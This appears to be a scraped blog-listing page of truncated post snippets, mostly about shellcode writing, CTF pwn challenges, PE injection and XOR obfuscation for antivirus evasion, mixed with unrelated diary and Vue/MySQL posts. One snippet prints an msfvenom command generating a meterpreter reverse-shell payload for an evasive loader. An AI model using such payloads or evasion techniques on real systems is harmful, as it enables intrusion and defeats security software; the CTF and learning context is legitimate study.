shellcode 1.7
上周热点回顾（1.1-1.7）
热点随笔： · 马某 说c# 不开源，他是蠢还是坏? (张善友)· 园子开店记-周边第一款：鼠标垫设计图出炉 (博客园团队)· 码农的转型之路-偶遇大佬情况或有变 (木子清)· C#/.NET/.NET Core优秀项目和框架2023年12月简报 (追逐时光者)· 动荡的2023年 (咖啡机（K.F ......
1.7
今天给自己加课在机房呆了一天。 因为 2 机房没网所以来了 1 机房，然后一整天写了几道数学题，做了若干之前鸽掉的题，把我洛谷上"尝试过的题目"清了清，现在只剩 6 道了，好像我今天一天写了 27 道题😨😨😨 哦刚刚又写了一道，28 道了。 别问我为啥只放崩铁的图，因为我只存了这些 这图应该元 ......
闲话1.7
今天颓废一天了。 先说昨晚 CF 战况：拿的小号 \(\mathsf{{\color{grey}Hs\_crimson}}\) 打的，rk995，加了 682 分😋😋😋。话说我在这里明目张胆的说我用小号打不会被 \(\mathsf{Mike}\) 给封号吧🤣🤣🤣。 昨晚熬到一点，上来把 ......
1.7
B/S结构用户界面设计 【实验编号】 10003809548j Web界面设计 【实验学时】 8学时 【实验环境】 l 所需硬件环境为微机； l 所需软件环境为dreamweaver 【实验内容】 这次实验要设计一个B/S结构的用户界面，题目自拟，我的题目是购物网站，网页仿照淘宝京东的首页面风格，有 ......
1.7每日总结-vue链接mysql2
新建/server/db/index.js，用于配置数据库相关信息let mysql = require('mysql') let db = mysql.createPool({ host: '127.0.0.1', //数据库IP地址 user: 'root', //数据库登录账号 passwor ......
1.7每日总结-vue链接mysql3
新建/server/API/user.js，用于操作数据库let db = require('../db/index') exports.get = (req, res) => { var sql = 'select * from user' db.query(sql, (err, data) => ......
1.7每日总结-vue链接mysql5
在/server/app.js中导入路由配置let express = require('express')let app = express()let cors = require('cors')let bodyParser = require('body-parser')let router = ......
1.7每日总结-mysql链接vue
.在项目中创建server文件夹，用于搭建本地服务器新建/server/app.js，用于配置服务器相关信息let express = require('express')let app = express()let cors = require('cors')let bodyParser = re ......
劫持 PE 文件：搜索空间缝隙并插入ShellCode
因近期项目需要弄一款注入型的程序，但多次尝试后发现传统的API都会被安全软件拦截，比如 CreateRemoteThread、SetWindowHookEx、APC、GetThreadContext、SetThreadContext，甚至 NtCreateThreadEx 也是如此，也有试想过用驱动... ......
Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode
Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode from：https://blog.restkhz.com/post/glance-at-shellcode-1 前言 我可能又要开一个系列文, 希望这次不要太监了.最近正在重新自学一些比较二进制 ......
mrctf2020_shellcode
mrctf2020_shellcode pwntools中shellcode使用与配置 bamuwe@qianenzhao:~$ checksec mrctf2020_shellcode [*] '/home/bamuwe/mrctf2020_shellcode' Arch: amd64-64-li ......
网络攻防技术——shellcode编写
实验5：shellcode编写实验 实验内容： shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode，但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的 ......
跟着王洋老师学编程 - 1.7 键盘控制小球
一 、 抽象方法/类 和 接口的定义 抽象方法 - 无法清晰描述的方法，比如动物类的吃方法； 抽象类 - 如果一个类中含有抽象方法，那这个类也必须要定义成抽象类； 接口 - 如果一个类中只有抽象方法，没有属性，这就是一个纯抽象类，即接口。 1 abstract class Animal{ // 抽象 ......
re | 通过C语言编写shellcode(vc6)
re | 通过C语言编写shellcode(vc6) 接上一篇博客：https://www.cnblogs.com/Mz1-rc/p/17923224.html 对上文中代码进行修改，不使用全局字符串，不使用外部函数调用，关闭/GZ编译选项（栈检查）： #include <stdio.h> #inc ......
C++ 邮件槽ShellCode跨进程传输
在计算机安全领域，进程间通信（IPC）一直是一个备受关注的话题。在本文中，我们将探讨如何使用Windows邮件槽（Mailslot）实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制，使得任何进程都能够成为邮件槽服务器，并通过`UDP`通信向其他进程发送数据。邮件槽是Win... ......
C++ 共享内存ShellCode跨进程传输
在计算机安全领域，ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度，研究人员经常探索新的传递`ShellCode`的方式。本文介绍了一种使用共享内存的方法，通过该方法，两个本地进程可以相互传递ShellCode，从而实现一种巧妙的本地传输手段。如果你问我为何在本地了... ......
探索C语言中的Shellcode从提取到执行
ShellCode是一种独立于应用程序的机器代码，通常用于实现特定任务，如执行远程命令、注入恶意软件或利用系统漏洞。在网络安全领域，研究Shellcode是理解恶意软件和提高系统安全性的关键一环。本文将深入探讨如何在C语言中提取Shellcode，并通过XOR加密技术增加其混淆程度。最后，我们将演示... ......
Jdk升级到1.7后，hutool工具类的很多方法报错解决方案
报错如下： java.lang.reflect.InaccessibleObjectException: Unable to make field private final java.util.Map sun.reflect.annotation.AnnotationInvocationHandl ......
【pwn】shellcode revenge --0~9，A~Z字符的shellcode
查一下保护 拖进ida看主要逻辑 这里的代码逻辑为mmap开辟一段有执行的地址，可以写入shellcode，但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六 ......
shellcode混淆加密(二)
这篇笔记其实不光是加密的东西，还有学习到的各种免杀的小技巧，关于XOR的部分已经实现了一个小工具，可以看https://www.cnblogs.com/fdxsec/p/17809606.html，这里就不再写了。 ......
【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击
先查看程序的保护状态 可以看到，保护全开，拖进ida看主函数的逻辑 可以看到有个mmap函数： mmap() 函数是Unix和类Unix操作系统中的一个系统调用，用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中，从而避免了频繁的文件 I/O 操作，提高了文件的读取 ......
The art of shellcode
目录1-如何编写shellcode1-1 纯手搓1-1-1 纯汇编1-1-2 内联汇编1-1-3 使用tiny_libc1-2 借助工具1-2-1 pwntools的shellcraft1-2-2 alpha31-2-3 AE641-2-4 shellcode encoder1-2-5 msf生成1 ......
sniperoj-pwn100-shellcode-x86-64
来源 本题来自ctfi-wiki，是基本ROP中shellcode的一道例题 查看保护 程序只开启了位置无关保护 PIE 并且有可写可执行的段 反汇编 发现程序中直接输出了buf的地址，所以PIE就不起作用了 可以看到，后面read函数还调用了buf，很显然就是要利用buf这个段了 然后在汇编代码发 ......
渗透中 PoC、Exp、Payload、RCE、IOC，Shellcode 的区别
PoC: 全称“Proof of Concept”，中文“概念验证”，常指 段漏洞证明的代码。 Exp: 全称“Exploit”，中文“利用”，指利用系统漏洞进行攻击的动作作。 Payload: 中文“有效载荷”，指成功 exploit 之后，真正在目标系统执行的代码或指令 RCE: RCE(rem ......
python实现shellcode异或加密自动化
实现的结果如下： 1.python脚本里面xor key随机生成 长度16位 2.加密后的payload和key直接写入到模板里面 3.编译 使用gcc编译 每次输出文件名随机 完成一个自动化过程 用法 python main.py shellcode.bin 其中shellcode.bin是自己的 ......
《自顶向下方法》1.7 协议层次和服务模型
协议层次 目的：向上层提供更好的服务 实现：通过层间的接口访问下层所提供的服务 本层服务：包括下层提供的服务 + 与对等层交互带来的新功能 服务 主体 服务用户 服务提供者 服务访问点：区分上层用户的信息 形式：原语 信息 类型 面向连接的服务 无连接的服务 数据单元（DU） head + SDU（ ......
python加载shellcode免杀
1、第一个shellcode加载器 import ctypes # msf生成的shellcode，命令：msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lp ......
arm32_shellcode
arm32_shellcode 题目文件 build.sh #!/bin/bash arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a chal.c #include <stdio.h> #include < ......